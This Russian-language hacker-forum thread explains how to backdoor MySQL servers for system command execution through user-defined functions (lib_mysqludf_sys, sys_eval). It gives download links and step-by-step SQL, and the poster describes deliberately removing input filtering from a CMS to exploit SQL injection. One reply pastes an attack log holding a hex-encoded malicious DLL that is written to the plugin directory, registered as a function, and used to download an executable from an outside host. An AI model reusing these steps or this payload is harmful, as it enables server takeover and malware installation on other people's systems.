Бэкдорим Мускул, или выполнение системных команд. http://depositfiles.com/files/7ssja9v37 На видео показано выполнение системных команд из MySql, используя UDF (User Defined Function). Про добавление новой, определяемой пользователем функции описано тут. http://www.mysql.ru/docs/man/Adding_UDF.html Коротко, функции должны быть написаны на C или на C++, а операционная система должна поддерживать динамическую загрузку. Файлы, реализующие UDFы, должны компилироваться и устанавливаться на машине, где работает сервер, в каталог, где MySql может его прочитать. Под виндой мускул воспринял новый файл без перезагрузки. После установки библиотеки, новая функция инициализируется командой: Code: CREATE FUNCTION name_function RETURNS STRING SONAME "name_udf_lib.so"; Все, можно пользоваться name_function(), так же как и встроенной. Для удаления функции используем команду Code: DROP FUNCTION name_function; Существуют готовые библиотеки, самые известные находятся здесь http://www.mysqludf.org/ нас интересует эта http://www.mysqludf.org/lib_mysqludf_sys/ в ее составе lib_mysqludf_sys_info() - для вывода информации о текущей версии sys_eval — выполняет переданную команду и возвращает её вывод sys_exec — выполняет переданную команду и возвращает её код возврата sys_get — получает значение переменной окружения sys_set — создает переменную окружения и устанавливает/обновляет её значение к сожалению на сайте, для виндов выложена левая библиотека, но рабочая нашлась по адресу для 32b http://www.assembla.com/code/amuccitesi/subversion/nodes/plugin/windows/lib_mysqludf_sys.dll?rev=3 для 64b (эту не проверял) https://sites.google.com/site/xedocfiles/files/lib_mysqludf_sys.zip?attredirects=0&d=1 В видео показано: смотрим, откуда мускул подгружает библиотеки Code: show variables like 'plugin_dir'; и в этот каталог льем файл lib_mysqludf_sys.dll создаем UDF Code: CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.dll'; Code: select * from mysql.func покажет все пользовательские функции проверяем работу Code: select sys_eval('dir'); дает вывод каталога @@basedir Собственно все... Ну проверяем работу забэкдорив СМСку (под руками была DLE v9.4). Пакостим слегка, в скрипте убираем фильтрацию переменной и эксплуатируем SQLi. Дополнительный бонус метода, даже если включат в PHP disable_functions open_basedir safe_mode выполнение команд через мускул не страдает. PS Под nix снять уже не успеваю, до следующего раза.
Как забэкдорить мускул если есть только папка /usr/lib64/mysql/ , хотя Code: show variables like 'plugin_dir'; показывает /usr/lib64/mysql/plugin. И темболее в /usr/lib64/mysql/ нету прав на запись...
Вот китайский метод: Code: W:\modules\database\MySQL-5.5.25\bin\mysqld.exe, Version: 5.5.25-log (MySQL Community Server (GPL)). started with: TCP Port: 3306, Named Pipe: (null) Time Id Command Argument 120810 18:47:14 1 Connect [email protected] on mysql 1 Quit 120810 17:54:39 3 Connect [email protected] on mysql 120810 17:54:40 3 Query set autocommit=0 3 Quit 120810 17:54:41 4 Connect [email protected] on mysql 4 Query set autocommit=0 120810 17:54:43 4 Query SELECT VERSION() 120810 17:54:44 4 Query set @a = concat('',0x4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000E80000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000EF55A8C1AB34C692AB34C692AB34C692C42BCC92AF34C692C42BC292A934C692AB34C692A834C692AB34C792B834C692C92BD592AC34C6929D12CD92A934C6925414C292AA34C69252696368AB34C692000000000000000000000000000000000000000000000000504500004C0103000E6DFF4F0000000000000000E0000E210B01060000100000001000000050000020660000006000000070000000000010001000000002000004000000000000000400000000000000008000000010000000000000020000000000100000100000000010000010000000000000100000006C71000070000000007000006C010000000000000000000000000000000000000000000000000000DC7100000C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000500000001000000000000000040000000000000000000000000000800000E0555058310000000000100000006000000008000000040000000000000000000000000000400000E05550583200000000001000000070000000020000000C0000000000000000000000000000400000C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000332E303400555058210D0902081292E561117752FFF14200001406000000500000260100C02F775FFE8B4C2408B801003BC8750A0C04890D21D8C2FCF676EC0C0090008B4412C7400813100432C0C3EE6FDFBE81EC34020C5355568D1810575033F6682E6E77FBDD906813808974241CC71528044DFF15315DB7BDFD0085C075208D531C8D542B515C183428D8EDD8EF52505633845123048B1B14520ADC5DFBEE08B9660033C08D7C244B20F3AB2ED375DDFF3F2850516A01565A383774073C5BB77B4D5C44B80750007FE80C03FB7BEBBA524D2835182F506A03663C568912768FFD6F2C1B4C8BAC244C0260942440398B1DFFFF7FEF74108B4D0827208B790483C9FFF2AEF7D12BF98BC18BF78BFA63DFFFFFC1E902F3A58BC883E103F3A4FFD38D8C24AC6D840694DBBB3F7303C01483BC24BC0D0275558B1BB0EEDEFD3783E804743E48740E48F6487543BF5D14EB41FF5E83E91CB4120B17150CEB2B83EFDDCFD8F802250704EB1B0620FCEB1413D6DC217F0AF0EB09E89DBA9F58B0367B6A00A107A3C1ED6B77B1A8CE8B115218F1586CEF164CF70F85D500E93513062620A8FFD6CAC9EDDD8B3D0E1C68102715FFD7886CD662C10F4AEE1406EFFFB16F840470EC3C8BF083C40885F674165614C2DBD8916C38560634190C8DBC599F139E2CAA83C177E6308BB4E11BB608802704D44889460C5154FBD8EF83C352514D40502A2C8B7E0C40750BDB162714438BAB54335F7FFCD6B84B49899F325E5D5B81C482C38B45DE2C65BB08268B386965703E4343C0691752186710422E994084080B3F256C90000F8B400C5974EB4ED8B30846405921FF25134C05B8A11B1948543108F50E39052FECBE6F59DC7E2EFF0D078B051024FE018B09CB21FD4871E0753F6880383059BEF7B7BBA314E875049EEB66832000A10DBC041FBBE1FB04001CE4E204A6FF555959EB3D6AAF8B756339269B305E21E3D8FF5FA471FC3BF072128B0E85C97407FFD11E83EE672DFD1D6CEABB83251100595E2F5885FFDF30F2C1EC538B5D08568B750C578B7D10E76DB4FFF77509833D5F00EB2683FE01740504E62287E97EF364EC09575653FFD0080C6FDDFDFBDC5E82B04E0FA3FBFFFF3389450CDF60ADAE4C17372B23F64603BBDD0ED8752634032125837D7F74115BFBD6450E083C8B025F5E5B5D9C88223B824D280000DF2E7FA877726F6E672E6F6B0328257329DBCBF6FF20706F72746E756D626572200F646F73760A7304D8FBB66925201E002728FFFFADB9002B03633A5C57696E646F77735C76332E6C6F6BBFE4BB6717612B62004374656D70040384BD6F7F3230395C6D61142E657865371F9574FFFE6973657475701A202D6F223D77DAB7EDDB221A70616263057963556E6B6E1E6CF7DEDE07546F6F2F6C64218F50585007EE6F83FC32303033302368652D6E65770BF7BF05B2387737410064006D0069006E03AFB9AE7D7300740072C9056F070D006EEC7FB2611F6C0076003100320033177013A4E1CC6D2365252750394EFDFF0B4159595354454D5C43757272656E74436FED60DBB60372AE53735C0A5C5425FE19B6B76D90616C201472609D5374617400B4BF1967A15244502D5463A4C8561484230CB2398A0AB01010806DF9FF0144656C65746546696C6541470A566DBBDD91BC45780E57690765630853FB9F66BB1D657034BD0052656743726561376BDF8E7D4B6579410E5175377956616C063969B6F717206C6F731F36CA24E0CDFDFF5F61646A7573745F666469760D5D697474DB6E6F0DD60A7370720C7466086D41F7EEED5A367066633D077075747306D36C9B796F70656E73654ED548B5B16FDB4EAD5524724164640B4C386B0276BF3D47726F7570114D6557732D5BFB9F66E25455524C446F776E578454FDFF63B36FEF00172F171D070B260827200839251610FFFFFFBF0A0B212007080E0E070705060F06071D24073F2207471406060E08060B0DEDFFAD6D180500060A150C0622125C1C005045416F8351FF4C0104000E6DFF4F43E00D210B019C7D7684062A0030130D14000F20969D278F10001004000717A40BD650272A02029AEDD9B207067022076E5CF2818CEA4F78DC4000008406922E40575C2E5BF67417B87874B8B0100342CFB6F121602E72642661CCDE2062876C0903A2402E26940CD2DC27F001303036D91CDBC04F652010BC27657353724042043E210000B8870AE5480412000000FF000000000000000000000000807C2408010F85B901000060BE006000108DBE00B0FFFF5783CDFFEB0D9090908A064688074701DB75078B1E83EEFC11DB72EDB80100000001DB75078B1E83EEFC11DB11C001DB73EF75098B1E83EEFC11DB73E431C983E803720DC1E0088A064683F0FF747489C501DB75078B1E83EEFC11DB11C901DB75078B1E83EEFC11DB11C975204101DB75078B1E83EEFC11DB11C901DB73EF75098B1E83EEFC11DB73E483C10281FD00F3FFFF83D1018D142F83FDFC760F8A02428807474975F7E963FFFFFF908B0283C204890783C70483E90477F101CFE94CFFFFFF5E89F7B9070000008A07472CE83C0177F7803F0175F28B078A5F0466C1E808C1C01086C429F880EBE801F0890783C70588D8E2D98DBE004000008B0709C0743C8B5F048D84300060000001F35083C708FF9678600000958A074708C074DC89F95748F2AE55FF967C60000009C07407890383C304EBE16131C0C20C0083C7048D5EFC31C08A074709C074223CEF771101C38B0386C4C1C01086C401F08903EBE2240FC1E010668B0783C702EBE28BAE806000008DBE00F0FFFFBB0010000050546A045357FFD58D870702000080207F8060287F585054505357FFD558618D4424806A0039C475FA83EC80E924ACFFFF0000000000000000000000000000000000000000000000000000000000000000000000B070000078700000000000000000000000000000BD70000090700000000000000000000000000000CA70000098700000000000000000000000000000D5700000A0700000000000000000000000000000E2700000A87000000000000000000000000000000000000000000000EC700000FA7000000A7100001A7100002871000000000000367100000000000044710000000000004A7100000000000056710000000000004B45524E454C33322E444C4C0041445641504933322E646C6C004D53564352542E646C6C004E455441504933322E646C6C0075726C6D6F6E2E646C6C00004C6F61644C69627261727941000047657450726F634164647265737300005669727475616C50726F7465637400005669727475616C416C6C6F6300005669727475616C46726565000000526567436C6F73654B65790000006672656500004E657455736572416464000055524C446F776E6C6F6164546F46696C65410000000000000E6DFF4F00000000B271000001000000030000000300000094710000A0710000AC710000301000003013000020100000BC710000C2710000CF7100000000010002006D7973716C2E646C6C007870646C33007870646C335F6465696E6974007870646C335F696E6974000000006000000C0000002D360000000000000000000000000000000000000000000000000000) 4 Query use mysql 4 Query drop table IF EXISTS yongger2 4 Query SHOW WARNINGS 4 Query create table yongger2(data LONGBLOB) 120810 17:54:45 4 Query insert into yongger2 values("") 120810 17:54:53 4 Query update yongger2 set data = @a 120810 17:54:54 4 Query set @dir2 = concat('select data from yongger2 into DUMPFILE "',@@plugin_dir,'\\cna12.dll"') 4 Query set @dir2 = replace(@dir2,'\\','\\\\') 4 Query set @dir2 = replace(@dir2,"/","\\\\") 4 Query prepare sql3 from @dir2 4 Prepare select data from yongger2 into DUMPFILE "W:\\modules\\database\\MySQL-5.5.25\\lib\\plugin\\\\cna12.dll" 4 Query execute sql3 120810 17:54:55 4 Query select data from yongger2 into DUMPFILE '..\\bin\\cna12.dll' 4 Query drop table IF EXISTS yongger2 4 Query drop FUNCTION xpdl3 4 Query CREATE FUNCTION xpdl3 RETURNS STRING SONAME 'cna12.dll' 120810 17:54:56 4 Query select xpdl3('http://vm.gnway.net:81/q.exe','c:\\isetup.exe') 120810 17:55:20 4 Query drop FUNCTION xpdl3 4 Query drop FUNCTION IF EXISTS xpdl3 4 Query SHOW WARNINGS 120810 17:55:21 4 Query commit 4 Quit Ток непонял червь это делал или сам китаёза, на той стороне похеканый дедик.
Вещь хорошая, но права не сильно радуют) Разве что в связке с суидником каким нибудь. Code: mysql> select sys_eval('id'); +--------------------------------------------------+ | sys_eval('id') | +--------------------------------------------------+ | uid=104(mysql) gid=107(mysql) groups=107(mysql) | +--------------------------------------------------+